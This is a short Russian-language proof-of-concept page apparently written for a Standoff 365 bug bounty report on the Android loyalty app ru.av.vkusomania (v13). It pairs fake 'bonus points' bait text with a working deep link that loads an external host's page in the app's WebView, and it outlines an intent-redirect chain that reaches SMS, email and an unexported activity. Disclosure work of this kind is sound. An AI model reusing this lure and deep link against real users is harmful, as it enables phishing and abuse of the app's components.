Начисляем 100 500 баллов на вашу карту «Вкусомания» за 1 минуту. Нажмите кнопку — приложение откроется автоматически.
Получить 100 500 бонусовКнопка — диплинк appav://app.av.ru/web-view?link=<URL>:
приложение открывает любой URL атакующего в своём WebView без адресной строки.
Кнопка — диплинк: приложение откроет промежуточную страницу в своём WebView, а там уже три демо-кнопки: SMS и письмо с предзаполненным «промокодом» (PoC-2/3) и внутреннее неэкспортированное ChatActivity без чоузера (PoC-4).
Открыть демо intent-редиректаДиплинк: appav://app.av.ru/web-view?link=https://av.bxss.space/poc-intents.html
PoC-1 + PoC-2/3 для отчёта Standoff 365 (ru.av.vkusomania, v13). Цепочка: диплинк без валидации → WebView с включённым JS → shouldOverrideUrlLoading → Intent.parseUri → startActivity.